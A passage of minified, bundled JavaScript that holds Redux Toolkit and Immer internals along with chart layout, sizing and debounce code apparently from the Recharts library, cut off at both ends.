n(...r){if(t){let i=t(...r);if(!i)throw new Error(on(0));return{type:e,payload:i.payload,..."meta"in i&&{meta:i.meta},..."error"in i&&{error:i.error}}}return{type:e,payload:r[0]}}return n.toString=()=>`${e}`,n.type=e,n.match=r=>kk(r)&&r.type===e,n}var Lk=class Ks extends Array{constructor(...t){super(...t),Object.setPrototypeOf(this,Ks.prototype)}static get[Symbol.species](){return Ks}concat(...t){return super.concat.apply(this,t)}prepend(...t){return t.length===1&&Array.isArray(t[0])?new Ks(...t[0].concat(this)):new Ks(...t.concat(this))}};function py(e){return Vn(e)?Tk(e,()=>{}):e}function Ll(e,t,n){return e.has(t)?e.get(t):e.set(t,n(t)).get(t)}function vO(e){return typeof e=="boolean"}var gO=()=>function(t){const{thunk:n=!0,immutableCheck:r=!0,serializableCheck:i=!0,actionCreatorCheck:a=!0}=t??{};let o=new Lk;return n&&(vO(n)?o.push(mO):o.push(hO(n.extraArgument))),o},Ik="RTK_autoBatch",Ue=()=>e=>({payload:e,meta:{[Ik]:!0}}),my=e=>t=>{setTimeout(t,e)},Dk=(e={type:"raf"})=>t=>(...n)=>{const r=t(...n);let i=!0,a=!1,o=!1;const l=new Set,c=e.type==="tick"?queueMicrotask:e.type==="raf"?typeof window<"u"&&window.requestAnimationFrame?window.requestAnimationFrame:my(10):e.type==="callback"?e.queueNotification:my(e.timeout),u=()=>{o=!1,a&&(a=!1,l.forEach(d=>d()))};return Object.assign({},r,{subscribe(d){const f=()=>i&&d(),m=r.subscribe(f);return l.add(d),()=>{m(),l.delete(d)}},dispatch(d){var f;try{return i=!((f=d==null?void 0:d.meta)!=null&&f[Ik]),a=!i,a&&(o||(o=!0,c(u))),r.dispatch(d)}finally{i=!0}}})},yO=e=>function(n){const{autoBatch:r=!0}=n??{};let i=new Lk(e);return r&&i.push(Dk(typeof r=="object"?r:void 0)),i};function bO(e){const t=gO(),{reducer:n=void 0,middleware:r,devTools:i=!0,preloadedState:a=void 0,enhancers:o=void 0}=e||{};let l;if(typeof n=="function")l=n;else if(Dx(n))l=jk(n);else throw new Error(on(1));let c;typeof r=="function"?c=r(t):c=t();let u=Zc;i&&(u=xO({trace:!1,...typeof i=="object"&&i}));const d=J6(...c),f=yO(d);let m=typeof o=="function"?o(f):f();const h=u(...m);return wk(l,a,h)}function Rk(e){const t={},n=[];let r;const i={addCase(a,o){const l=typeof a=="string"?a:a.type;if(!l)throw new Error(on(28));if(l in t)throw new Error(on(29));return t[l]=o,i},addAsyncThunk(a,o){return o.pending&&(t[a.pending.type]=o.pending),o.rejected&&(t[a.rejected.type]=o.rejected),o.fulfilled&&(t[a.fulfilled.type]=o.fulfilled),o.settled&&n.push({matcher:a.settled,reducer:o.settled}),i},addMatcher(a,o){return n.push({matcher:a,reducer:o}),i},addDefaultCase(a){return r=a,i}};return e(i),[t,n,r]}function wO(e){return typeof e=="function"}function jO(e,t){let[n,r,i]=Rk(t),a;if(wO(e))a=()=>py(e());else{const l=py(e);a=()=>l}function o(l=a(),c){let u=[n[c.type],...r.filter(({matcher:d})=>d(c)).map(({reducer:d})=>d)];return u.filter(d=>!!d).length===0&&(u=[i]),u.reduce((d,f)=>{if(f)if(Er(d)){const h=f(d,c);return h===void 0?d:h}else{if(Vn(d))return Tk(d,m=>f(m,c));{const m=f(d,c);if(m===void 0){if(d===null)return d;throw Error("A case reducer on a non-draftable value must not return undefined")}return m}}return d},l)}return o.getInitialState=a,o}var kO="ModuleSymbhasOwnPr-0123456789ABCDEFGHNRVfgctiUvz_KqYTJkLxpZXIjQW",NO=(e=21)=>{let t="",n=e;for(;n--;)t+=kO[Math.random()*64|0];return t},SO=Symbol.for("rtk-slice-createasyncthunk");function zO(e,t){return`${e}/${t}`}function CO({creators:e}={}){var n;const t=(n=e==null?void 0:e.asyncThunk)==null?void 0:n[SO];return function(i){const{name:a,reducerPath:o=a}=i;if(!a)throw new Error(on(11));const l=(typeof i.reducers=="function"?i.reducers(EO()):i.reducers)||{},c=Object.keys(l),u={sliceCaseReducersByName:{},sliceCaseReducersByType:{},actionCreators:{},sliceMatchers:[]},d={addCase(j,k){const S=typeof j=="string"?j:j.type;if(!S)throw new Error(on(12));if(S in u.sliceCaseReducersByType)throw new Error(on(13));return u.sliceCaseReducersByType[S]=k,d},addMatcher(j,k){return u.sliceMatchers.push({matcher:j,reducer:k}),d},exposeAction(j,k){return u.actionCreators[j]=k,d},exposeCaseReducer(j,k){return u.sliceCaseReducersByName[j]=k,d}};c.forEach(j=>{const k=l[j],S={reducerName:j,type:zO(a,j),createNotation:typeof i.reducers=="function"};_O(k)?TO(S,k,d,t):AO(S,k,d)});function f(){const[j={},k=[],S=void 0]=typeof i.extraReducers=="function"?Rk(i.extraReducers):[i.extraReducers],N={...j,...u.sliceCaseReducersByType};return jO(i.initialState,z=>{for(let _ in N)z.addCase(_,N[_]);for(let _ of u.sliceMatchers)z.addMatcher(_.matcher,_.reducer);for(let _ of k)z.addMatcher(_.matcher,_.reducer);S&&z.addDefaultCase(S)})}const m=j=>j,h=new Map,x=new WeakMap;let g;function y(j,k){return g||(g=f()),g(j,k)}function v(){return g||(g=f()),g.getInitialState()}function b(j,k=!1){function S(z){let _=z[j];return typeof _>"u"&&k&&(_=Ll(x,S,v)),_}function N(z=m){const _=Ll(h,k,()=>new WeakMap);return Ll(_,z,()=>{const A={};for(const[O,P]of Object.entries(i.selectors??{}))A[O]=PO(P,z,()=>Ll(x,z,v),k);return A})}return{reducerPath:j,getSelectors:N,get selectors(){return N(S)},selectSlice:S}}const w={name:a,reducer:y,actions:u.actionCreators,caseReducers:u.sliceCaseReducersByName,getInitialState:v,...b(o),injectInto(j,{reducerPath:k,...S}={}){const N=k??o;return j.inject({reducerPath:N,reducer:y},S),{...w,...b(N,!0)}}};return w}}function PO(e,t,n,r){function i(a,...o){let l=t(a);return typeof l>"u"&&r&&(l=n()),e(l,...o)}return i.unwrapped=e,i}var Xt=CO();function EO(){function e(t,n){return{_reducerDefinitionType:"asyncThunk",payloadCreator:t,...n}}return e.withTypes=()=>e,{reducer(t){return Object.assign({[t.name](...n){return t(...n)}}[t.name],{_reducerDefinitionType:"reducer"})},preparedReducer(t,n){return{_reducerDefinitionType:"reducerWithPrepare",prepare:t,reducer:n}},asyncThunk:e}}function AO({type:e,reducerName:t,createNotation:n},r,i){let a,o;if("reducer"in r){if(n&&!OO(r))throw new Error(on(17));a=r.reducer,o=r.prepare}else a=r;i.addCase(e,a).exposeCaseReducer(t,a).exposeAction(t,o?zn(e,o):zn(e))}function _O(e){return e._reducerDefinitionType==="asyncThunk"}function OO(e){return e._reducerDefinitionType==="reducerWithPrepare"}function TO({type:e,reducerName:t},n,r,i){if(!i)throw new Error(on(18));const{payloadCreator:a,fulfilled:o,pending:l,rejected:c,settled:u,options:d}=n,f=i(e,a,d);r.exposeAction(t,f),o&&r.addCase(f.fulfilled,o),l&&r.addCase(f.pending,l),c&&r.addCase(f.rejected,c),u&&r.addMatcher(f.settled,u),r.exposeCaseReducer(t,{fulfilled:o||Il,pending:l||Il,rejected:c||Il,settled:u||Il})}function Il(){}var MO="task",$k="listener",Bk="completed",Fx="cancelled",LO=`task-${Fx}`,IO=`task-${Bk}`,$m=`${$k}-${Fx}`,DO=`${$k}-${Bk}`,zd=class{constructor(e){vf(this,"name","TaskAbortError");vf(this,"message");this.code=e,this.message=`${MO} ${Fx} (reason: ${e})`}},Wx=(e,t)=>{if(typeof e!="function")throw new TypeError(on(32))},iu=()=>{},Fk=(e,t=iu)=>(e.catch(t),e),Wk=(e,t)=>(e.addEventListener("abort",t,{once:!0}),()=>e.removeEventListener("abort",t)),Ui=e=>{if(e.aborted)throw new zd(e.reason)};function Uk(e,t){let n=iu;return new Promise((r,i)=>{const a=()=>i(new zd(e.reason));if(e.aborted){a();return}n=Wk(e,a),t.finally(()=>n()).then(r,i)}).finally(()=>{n=iu})}var RO=async(e,t)=>{try{return await Promise.resolve(),{status:"ok",value:await e()}}catch(n){return{status:n instanceof zd?"cancelled":"rejected",error:n}}finally{t==null||t()}},au=e=>t=>Fk(Uk(e,t).then(n=>(Ui(e),n))),Vk=e=>{const t=au(e);return n=>t(new Promise(r=>setTimeout(r,n)))},{assign:$a}=Object,hy={},Cd="listenerMiddleware",$O=(e,t)=>{const n=r=>Wk(e,()=>r.abort(e.reason));return(r,i)=>{Wx(r);const a=new AbortController;n(a);const o=RO(async()=>{Ui(e),Ui(a.signal);const l=await r({pause:au(a.signal),delay:Vk(a.signal),signal:a.signal});return Ui(a.signal),l},()=>a.abort(IO));return i!=null&&i.autoJoin&&t.push(o.catch(iu)),{result:au(e)(o),cancel(){a.abort(LO)}}}},BO=(e,t)=>{const n=async(r,i)=>{Ui(t);let a=()=>{};const l=[new Promise((c,u)=>{let d=e({predicate:r,effect:(f,m)=>{m.unsubscribe(),c([f,m.getState(),m.getOriginalState()])}});a=()=>{d(),u()}})];i!=null&&l.push(new Promise(c=>setTimeout(c,i,null)));try{const c=await Uk(t,Promise.race(l));return Ui(t),c}finally{a()}};return(r,i)=>Fk(n(r,i))},Hk=e=>{let{type:t,actionCreator:n,matcher:r,predicate:i,effect:a}=e;if(t)i=zn(t).match;else if(n)t=n.type,i=n.match;else if(r)i=r;else if(!i)throw new Error(on(21));return Wx(a),{predicate:i,type:t,effect:a}},Kk=$a(e=>{const{type:t,predicate:n,effect:r}=Hk(e);return{id:NO(),effect:r,type:t,predicate:n,pending:new Set,unsubscribe:()=>{throw new Error(on(22))}}},{withTypes:()=>Kk}),xy=(e,t)=>{const{type:n,effect:r,predicate:i}=Hk(t);return Array.from(e.values()).find(a=>(typeof n=="string"?a.type===n:a.predicate===i)&&a.effect===r)},Bm=e=>{e.pending.forEach(t=>{t.abort($m)})},FO=(e,t)=>()=>{for(const n of t.keys())Bm(n);e.clear()},vy=(e,t,n)=>{try{e(t,n)}catch(r){setTimeout(()=>{throw r},0)}},qk=$a(zn(`${Cd}/add`),{withTypes:()=>qk}),WO=zn(`${Cd}/removeAll`),Yk=$a(zn(`${Cd}/remove`),{withTypes:()=>Yk}),UO=(...e)=>{console.error(`${Cd}/error`,...e)},Zo=(e={})=>{const t=new Map,n=new Map,r=h=>{const x=n.get(h)??0;n.set(h,x+1)},i=h=>{const x=n.get(h)??1;x===1?n.delete(h):n.set(h,x-1)},{extra:a,onError:o=UO}=e;Wx(o);const l=h=>(h.unsubscribe=()=>t.delete(h.id),t.set(h.id,h),x=>{h.unsubscribe(),x!=null&&x.cancelActive&&Bm(h)}),c=h=>{const x=xy(t,h)??Kk(h);return l(x)};$a(c,{withTypes:()=>c});const u=h=>{const x=xy(t,h);return x&&(x.unsubscribe(),h.cancelActive&&Bm(x)),!!x};$a(u,{withTypes:()=>u});const d=async(h,x,g,y)=>{const v=new AbortController,b=BO(c,v.signal),w=[];try{h.pending.add(v),r(h),await Promise.resolve(h.effect(x,$a({},g,{getOriginalState:y,condition:(j,k)=>b(j,k).then(Boolean),take:b,delay:Vk(v.signal),pause:au(v.signal),extra:a,signal:v.signal,fork:$O(v.signal,w),unsubscribe:h.unsubscribe,subscribe:()=>{t.set(h.id,h)},cancelActiveListeners:()=>{h.pending.forEach((j,k,S)=>{j!==v&&(j.abort($m),S.delete(j))})},cancel:()=>{v.abort($m),h.pending.delete(v)},throwIfCancelled:()=>{Ui(v.signal)}})))}catch(j){j instanceof zd||vy(o,j,{raisedBy:"effect"})}finally{await Promise.all(w),v.abort(DO),i(h),h.pending.delete(v)}},f=FO(t,n);return{middleware:h=>x=>g=>{if(!kk(g))return x(g);if(qk.match(g))return c(g.payload);if(WO.match(g)){f();return}if(Yk.match(g))return u(g.payload);let y=h.getState();const v=()=>{if(y===hy)throw new Error(on(23));return y};let b;try{if(b=x(g),t.size>0){const w=h.getState(),j=Array.from(t.values());for(const k of j){let S=!1;try{S=k.predicate(g,w,y)}catch(N){S=!1,vy(o,N,{raisedBy:"predicate"})}S&&d(k,g,h,v)}}}finally{y=hy}return b},startListening:c,stopListening:u,clearListeners:f}};function on(e){return`Minified Redux Toolkit error #${e}; visit https://redux-toolkit.js.org/Errors?code=${e} for the full message or use the non-minified dev environment for full errors. `}var VO={layoutType:"horizontal",width:0,height:0,margin:{top:5,right:5,bottom:5,left:5},scale:1},Gk=Xt({name:"chartLayout",initialState:VO,reducers:{setLayout(e,t){e.layoutType=t.payload},setChartSize(e,t){e.width=t.payload.width,e.height=t.payload.height},setMargin(e,t){var n,r,i,a;e.margin.top=(n=t.payload.top)!==null&&n!==void 0?n:0,e.margin.right=(r=t.payload.right)!==null&&r!==void 0?r:0,e.margin.bottom=(i=t.payload.bottom)!==null&&i!==void 0?i:0,e.margin.left=(a=t.payload.left)!==null&&a!==void 0?a:0},setScale(e,t){e.scale=t.payload}}}),{setMargin:HO,setLayout:KO,setChartSize:qO,setScale:YO}=Gk.actions,GO=Gk.reducer;function Xk(e,t,n){return Array.isArray(e)&&e&&t+n!==0?e.slice(t,n+1):e}function ze(e){return Number.isFinite(e)}function vi(e){return typeof e=="number"&&e>0&&Number.isFinite(e)}function gy(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Aa(e){for(var t=1;t{if(t&&n){var{width:r,height:i}=n,{align:a,verticalAlign:o,layout:l}=t;if((l==="vertical"||l==="horizontal"&&o==="middle")&&a!=="center"&&he(e[a]))return Aa(Aa({},e),{},{[a]:e[a]+(r||0)});if((l==="horizontal"||l==="vertical"&&a==="center")&&o!=="middle"&&he(e[o]))return Aa(Aa({},e),{},{[o]:e[o]+(i||0)})}return e},dr=(e,t)=>e==="horizontal"&&t==="xAxis"||e==="vertical"&&t==="yAxis"||e==="centric"&&t==="angleAxis"||e==="radial"&&t==="radiusAxis",eT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(u[0]=a,a+=m,u[1]=a):(u[0]=o,o+=m,u[1]=o)}}}},tT=e=>{var t,n=e.length;if(!(n<=0)){var r=(t=e[0])===null||t===void 0?void 0:t.length;if(!(r==null||r<=0))for(var i=0;i=0?(c[0]=a,a+=u,c[1]=a):(c[0]=0,c[1]=0)}}}},nT={sign:eT,expand:V_,none:ea,silhouette:H_,wiggle:K_,positive:tT},rT=(e,t,n)=>{var r,i=(r=nT[n])!==null&&r!==void 0?r:ea,a=U_().keys(t).value((l,c)=>Number(Fe(l,c,0))).order(Em).offset(i),o=a(e);return o.forEach((l,c)=>{l.forEach((u,d)=>{var f=Fe(e[d],t[c],0);Array.isArray(f)&&f.length===2&&he(f[0])&&he(f[1])&&(u[0]=f[0],u[1]=f[1])})}),o};function iT(e){return e==null?void 0:String(e)}function yy(e){var{axis:t,ticks:n,bandSize:r,entry:i,index:a,dataKey:o}=e;if(t.type==="category"){if(!t.allowDuplicatedCategory&&t.dataKey&&!Pt(i[t.dataKey])){var l=Wj(n,"value",i[t.dataKey]);if(l)return l.coordinate+r/2}return n!=null&&n[a]?n[a].coordinate+r/2:null}var c=Fe(i,Pt(o)?t.dataKey:o),u=t.scale.map(c);return he(u)?u:null}var aT=e=>{var t=e.flat(2).filter(he);return[Math.min(...t),Math.max(...t)]},sT=e=>[e[0]===1/0?0:e[0],e[1]===-1/0?0:e[1]],oT=(e,t,n)=>{if(e!=null)return sT(Object.keys(e).reduce((r,i)=>{var a=e[i];if(!a)return r;var{stackedData:o}=a,l=o.reduce((c,u)=>{var d=Xk(u,t,n),f=aT(d);return!ze(f[0])||!ze(f[1])?c:[Math.min(c[0],f[0]),Math.max(c[1],f[1])]},[1/0,-1/0]);return[Math.min(l[0],r[0]),Math.max(l[1],r[1])]},[1/0,-1/0]))},by=/^dataMin[\s]*-[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,wy=/^dataMax[\s]*\+[\s]*([0-9]+([.]{1}[0-9]+){0,1})$/,su=(e,t,n)=>{if(e&&e.scale&&e.scale.bandwidth){var r=e.scale.bandwidth();if(!n||r>0)return r}if(e&&t&&t.length>=2){for(var i=gd(t,d=>d.coordinate),a=1/0,o=1,l=i.length;o{if(t==="horizontal")return e.chartX;if(t==="vertical")return e.chartY},cT=(e,t)=>t==="centric"?e.angle:e.radius,Rr=e=>e.layout.width,$r=e=>e.layout.height,uT=e=>e.layout.scale,Zk=e=>e.layout.margin,Ed=T(e=>e.cartesianAxis.xAxis,e=>Object.values(e)),Ad=T(e=>e.cartesianAxis.yAxis,e=>Object.values(e)),Qk="data-recharts-item-index",Jk="data-recharts-item-id",Qo=60;function ky(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter(function(i){return Object.getOwnPropertyDescriptor(e,i).enumerable})),n.push.apply(n,r)}return n}function Dl(e){for(var t=1;te.brush.height;function hT(e){var t=Ad(e);return t.reduce((n,r)=>{if(r.orientation==="left"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qo;return n+i}return n},0)}function xT(e){var t=Ad(e);return t.reduce((n,r)=>{if(r.orientation==="right"&&!r.mirror&&!r.hide){var i=typeof r.width=="number"?r.width:Qo;return n+i}return n},0)}function vT(e){var t=Ed(e);return t.reduce((n,r)=>r.orientation==="top"&&!r.mirror&&!r.hide?n+r.height:n,0)}function gT(e){var t=Ed(e);return t.reduce((n,r)=>r.orientation==="bottom"&&!r.mirror&&!r.hide?n+r.height:n,0)}var yt=T([Rr,$r,Zk,mT,hT,xT,vT,gT,bk,q6],(e,t,n,r,i,a,o,l,c,u)=>{var d={left:(n.left||0)+i,right:(n.right||0)+a},f={top:(n.top||0)+o,bottom:(n.bottom||0)+l},m=Dl(Dl({},f),d),h=m.bottom;m.bottom+=r,m=JO(m,c,u);var x=e-m.left-m.right,g=t-m.top-m.bottom;return Dl(Dl({brushBottom:h},m),{},{width:Math.max(x,0),height:Math.max(g,0)})}),yT=T(yt,e=>({x:e.left,y:e.top,width:e.width,height:e.height}));T(Rr,$r,(e,t)=>({x:0,y:0,width:e,height:t}));var bT=p.createContext(null),Kn=()=>p.useContext(bT)!=null,_d=e=>e.brush,Od=T([_d,yt,Zk],(e,t,n)=>({height:e.height,x:he(e.x)?e.x:t.left,y:he(e.y)?e.y:t.top+t.height+t.brushBottom-((n==null?void 0:n.bottom)||0),width:he(e.width)?e.width:t.width})),eN={},tN={},nN={};(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});function t(n,r,{signal:i,edges:a}={}){let o,l=null;const c=a!=null&&a.includes("leading"),u=a==null||a.includes("trailing"),d=()=>{l!==null&&(n.apply(o,l),o=void 0,l=null)},f=()=>{u&&d(),g()};let m=null;const h=()=>{m!=null&&clearTimeout(m),m=setTimeout(()=>{m=null,f()},r)},x=()=>{m!==null&&(clearTimeout(m),m=null)},g=()=>{x(),o=void 0,l=null},y=()=>{d()},v=function(...b){if(i!=null&&i.aborted)return;o=this,l=b;const w=m==null;h(),c&&w&&d()};return v.schedule=h,v.cancel=g,v.flush=y,i==null||i.addEventListener("abort",g,{once:!0}),v}e.debounce=t})(nN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=nN;function n(r,i=0,a={}){typeof a!="object"&&(a={});const{leading:o=!1,trailing:l=!0,maxWait:c}=a,u=Array(2);o&&(u[0]="leading"),l&&(u[1]="trailing");let d,f=null;const m=t.debounce(function(...g){d=r.apply(this,g),f=null},i,{edges:u}),h=function(...g){return c!=null&&(f===null&&(f=Date.now()),Date.now()-f>=c)?(d=r.apply(this,g),f=Date.now(),m.cancel(),m.schedule(),d):(m.apply(this,g),d)},x=()=>(m.flush(),d);return h.cancel=m.cancel,h.flush=x,h}e.debounce=n})(tN);(function(e){Object.defineProperty(e,Symbol.toStringTag,{value:"Module"});const t=tN;function n(r,i=0,a={}){const{leading:o=!0,trailing:l=!0}=a;return t.debounce(r,i,{leading:o,maxWait:i,trailing:l})}e.throttle=n})(eN);var wT=eN.throttle;const jT=Lr(wT);var Ny=function(t,n){for(var r=arguments.length,i=new Array(r>2?r-2:0),a=2;ai[o++]))}},nr={width:"100%",height:"100%",debounce:0,minWidth:0,initialDimension:{width:-1,height:-1}},rN=(e,t,n)=>{var{width:r=nr.width,height:i=nr.height,aspect:a,maxHeight:o}=n,l=ta(r)?e:Number(r),c=ta(i)?t:Number(i);return a&&a>0&&(l?c=l/a:c&&(l=c*a),o&&c!=null&&c>o&&(c=o)),{calculatedWidth:l,calculatedHeight:c}},kT={width:0,height:0,overflow:"visible"},NT={width:0,overflowX:"visible"},ST={height:0,overflowY:"visible"},zT={},CT=e=>{var{width:t,height:n}=e,r=ta(t),i=ta(n);return r&&i?kT:r?NT:i?ST:zT};function PT(e){var{width:t,height:n,aspect:r}=e,i=t,a=n;return i===void 0&&a===void 0?(i=nr.width,a=nr.height):i===void 0?i=r&&r>0?void 0:nr.width:a===void 0&&(a=r&&r>0?void 0:nr.height),{width:i,height:a}}function Fm(){return Fm=Object.assign?Object.assign.bind():function(e){for(var t=1;t({width:n,height:r}),[n,r]);return OT(i)?p.createElement(iN.Provider,{value:i},t):null}var Ux=()=>p.useContext(iN),TT=p.forwardRef((e,t)=>{var{aspect:n,initialDimension:r=nr.initialDimension,width:i,height:a,minWidth:o=nr.minWidth,minHeight:l,maxHeight:c,children:u,debounce:d=nr.debounce,id:f,className:m,onResize:h,style:x={}}=e,g=p.useRef(null),y=p.useRef();y.current=h,p.useImperativeHandle(t,()=>g.current);var[v,b]=p.useState({containerWidth:r.width,containerHeight:r.height}),w=p.useCallback((z,_)=>{b(A=>{var O=Math.round(z),P=Math.round(_);return A.containerWidth===O&&A.containerHeight===P?A:{containerWidth:O,containerHeight:P}})},[]);p.useEffect(()=>{if(g.current==null||typeof ResizeObserver>"u")return cs;var z=P=>{var I,U=P[0];if(U!=null){var{width:D,height:M}=U.contentRect;w(D,M),(I=y.current)===null||I===void 0||I.call(y,D,M)}};d>0&&(z=jT(z,d,{trailing:!0,leading:!1}));var _=new ResizeObserver(z),{width:A,height:O}=g.current.getBoundingClientRect();return w(A,O),_.observe(g.current),()=>{_.disconnect()}},[w,d]);var{containerWidth:j,containerHeight:k}=v;Ny(!n||n>0,"The aspect(%s) must be greater than zero.",n);var{calculatedWidth:S,calculatedHeight:N}=rN(j,k,{width:i,height:a,aspect:n,maxHeight:c});return Ny(S!=null&&S>0||N!=null&&N>0,`The width(%s) and height(%s) of chart should be greater than 0, + please check the style of container, or the props width(%s) and height(%s), + or add a minWidth(%s) or minHeight(%s) or use aspect(%s) to control the + height and width.`,S,N,i,a,o,l,n),p.createElement("div",{id:f?"".concat(f):void 0,className:Xe("recharts-responsive-container",m),style:zy(zy({},x),{},{width:i,height:a,minWidth:o,minHeight:l,maxHeight:c}),ref:g},p.createElement("div",{style:CT({width:i,height:a})},p.createElement(aN,{width:S,height:N},u)))}),Cy=p.forwardRef((e,t)=>{var n=Ux();if(vi(n.width)&&vi(n.height))return e.children;var{width:r,height:i}=PT({width:e.width,height:e.height,aspect:e.aspect}),{calculatedWidth:a,calculatedHeight:o}=rN(void 0,void 0,{width:r,height:i,aspect:e.aspect,maxHeight:e.maxHeight});return he(a)&&he(o)?p.createElement(aN,{width:a,height:o},e.children):p.createElement(TT,Fm({},e,{width:r,height:i,ref:t}))});function Vx(e){if(e)return{x:e.x,y:e.y,upperWidth:"upperWidth"in e?e.upperWidth:e.width,lowerWidth:"lowerWidth"in e?e.lowerWidth:e.width,width:e.width,height:e.height}}var Td=()=>{var e,t=Kn(),n=ye(yT),r=ye(Od),i=(e=ye(_d))===null||e===void 0?void 0:e.padding;return!t||!r||!i?n:{width:r.width-i.left-i.right,height:r.height-i.top-i.bottom,x:i.left,y:i.top}},MT={top:0,bottom:0,left:0,right:0,width:0,height:0,brushBottom:0},LT=()=>{var e;return(e=ye(yt))!==null&&e!==void 0?e:MT},IT=()=>ye(Rr),DT=()=>ye($r),Me=e=>e.layout.layoutType,us=()=>ye(Me),RT=()=>{var e=us();if(e==="horizontal"||e==="vertical")return e},sN=e=>{var t=e.layout.layoutType;if(t==="centric"||t==="radial")return t},$T=()=>{var e=us();return e!==void 0},Jo=e=>{var t=it(),n=Kn(),{width:r,height:i}=e,a=Ux(),o=r,l=i;return a&&(o=a.width>0?a.width:r,l=a.height>0?a.height:i),p.useEffect(()=>{!n&&vi(o)&&vi(l)&&t(qO({width:o,height:l}))},[t,n,o,l]),null},oN=Symbol.for("immer-nothing"),Py=Symbol.for("immer-draftable"),cn=Symbol.for("immer-state");function Dn(e,...t){throw new Error(`[Immer] minified error nr: ${e}. Full error at: https://bit.ly/3cXEKWf`)}var Oo=Object.getPrototypeOf;function Qa(e){return!!e&&!!e[cn]}function ra(e){var t;return e?lN(e)||Array.isArray(e)||!!e[Py]||!!((t=e.constructor)!=null&&t[Py])||el(e)||Ld(e):!1}var BT=Object.prototype.constructor.toString(),Ey=new WeakMap;function lN(e){if(!e||typeof e!="object")return!1;const t=Object.getPrototypeOf(e);if(t===null||t===Object.prototype)return!0;const n=Object.hasOwnProperty.call(t,"constructor")&&t.constructor;if(n===Object)return!0;if(typeof n!="function")return!1;let r=Ey.get(n);return r===void 0&&(r=Function.toString.call(n),Ey.set(n,r)),r===BT}function ou(e,t,n=!0){Md(e)===0?(n?Reflect.ownKeys(e):Object.keys(e)).forEach(i=>{t(i,e[i],e)}):e.forEach((r,i)=>t(i,r,e))}function Md(e){const t=e[cn];return t?t.type_:Array.isArray(e)?1:el(e)?2:Ld(e)?3:0}function Wm(e,t){return Md(e)===2?e.has(t):Object.prototype.hasOwnProperty.call(e,t)}function cN(e,t,n){const r=Md(e);r===2?e.set(t,n):r===3?e.add(n):e[t]=n}function FT(e,t){return e===t?e!==0||1/e===1/t:e!==e&&t!==t}function el(e){return e instanceof Map}function Ld(e){return e instanceof Set}function Oi(e){return e.copy_||e.base_}function Um(e,t){if(el(e))return new Map(e);if(Ld(e))return new Set(e);if(Array.isArray(e))return Array.prototype.slice.call(e);const n=lN(e);if(t===!0||t==="class_only"&&!n){const r=Object.getOwnPropertyDescriptors(e);delete r[cn];let i=Reflect.ownKeys(r);for(let a=0;a1&&Object.defineProperties(e,{set:Rl,add:Rl,clear:Rl,delete:Rl}),Object.freeze(e),t&&Object.values(e).forEach(n=>Hx(n,!0))),e}function WT(){Dn(2)}var Rl={value:WT};function Id(e){return e===null||typeof e!="object"?!0:Object.isFrozen(e)}var UT={};function ia(e){const t=UT[e];return t||Dn(0,e),t}var To;function uN(){return To}function VT(e,t){return{drafts_:[],parent_:e,immer_:t,canAutoFreeze_:!0,unfinalizedDrafts_:0}}function Ay(e,t){t&&(ia("Patches"),e.patches_=[],e.inversePatches_=[],e.patchListener_=t)}function Vm(e){Hm(e),e.drafts_.forEach(HT),e.drafts_=null}function Hm(e){e===To&&(To=e.parent_)}function _y(e){return To=VT(To,e)}function HT(e){const t=e[cn];t.type_===0||t.type_===1?t.revoke_():t.revoked_=!0}function Oy(e,t){t.unfinalizedDrafts_=t.drafts_.length;const n=t.drafts_[0];return e!==void 0&&e!==n?(n[cn].modified_&&(Vm(t),Dn(4)),ra(e)&&(e=lu(t,e),t.parent_||cu(t,e)),t.patches_&&ia("Patches").generateReplacementPatches_(n[cn].base_,e,t.patches_,t.inversePatches_)):e=lu(t,n,[]),Vm(t),t.patches_&&t.patchListener_(t.patches_,t.inversePatches_),e!==oN?e:void 0}function lu(e,t,n){if(Id(t))return t;const r=e.immer_.shouldUseStrictIteration(),i=t[cn];if(!i)return ou(t,(a,o)=>Ty(e,i,t,a,o,n),r),t;if(i.scope_!==e)return t;if(!i.modified_)return cu(e,i.base_,!0),i.base_;if(!i.finalized_){i.finalized_=!0,i.scope_.unfinalizedDrafts_--;const a=i.copy_;let o=a,l=!1;i.type_===3&&(o=new Set(a),a.clear(),l=!0),ou(o,(c,u)=>Ty(e,i,a,c,u,n,l),r),cu(e,a,!1),n&&e.patches_&&ia("Patches").generatePatches_(i,n,e.patches_,e.inversePatches_)}return i.copy_}function Ty(e,t,n,r,i,a,o){if(i==null||typeof i!="object"&&!o)return;const l=Id(i);if(!(l&&!o)){if(Qa(i)){const c=a&&t&&t.type_!==3&&!Wm(t.assigned_,r)?a.concat(r):void 0,u=lu(e,i,c);if(cN(n,r,u),Qa(u))e.canAutoFreeze_=!1;else return}else o&&n.add(i);if(ra(i)&&!l){if(!e.immer_.autoFreeze_&&e.unfinalizedDrafts_<1||t&&t.base_&&t.base_[r]===i&&l)return;lu(e,i),(!t||!t.scope_.parent_)&&typeof r!="symbol"&&(el(n)?n.has(r):Object.prototype.propertyIsEnumerable.call(n,r))&&cu(e,i)}}}function cu(e,t,n=!1){!e.parent_&&e.immer_.autoFreeze_&&e.canAutoFreeze_&&Hx(t,n)}function KT(e,t){const n=Array.isArray(e),r={type_:n?1:0,scope_:t?t.scope_:uN(),modified_:!1,finalized_:!1,assigned_:{},parent_:t,base_:e,draft_:null,copy_:null,revoke_:null,isManual_:!1};let i=r,a=Kx;n&&(i=[r],a=Mo);const{revoke:o,proxy:l}=Proxy.revocable(i,a);return r.draft_=l,r.revoke_=o,l}var Kx={get(e,t){if(t===cn)return e;const n=Oi(e);if(!Wm(n,t))return qT(e,n,t);const r=n[t];return e.finalized_||!ra(r)?r:r===tp(e.base_,t)?(np(e),e.copy_[t]=qm(r,e)):r},has(e,t){return t in Oi(e)},ownKeys(e){return Reflect.ownKeys(Oi(e))},set(e,t,n){const r=dN(Oi(e),t);if(r!=null&&r.set)return r.set.call(e.draft_,n),!0;if(!e.modified_){const i=tp(Oi(e),t),a=i==null?void 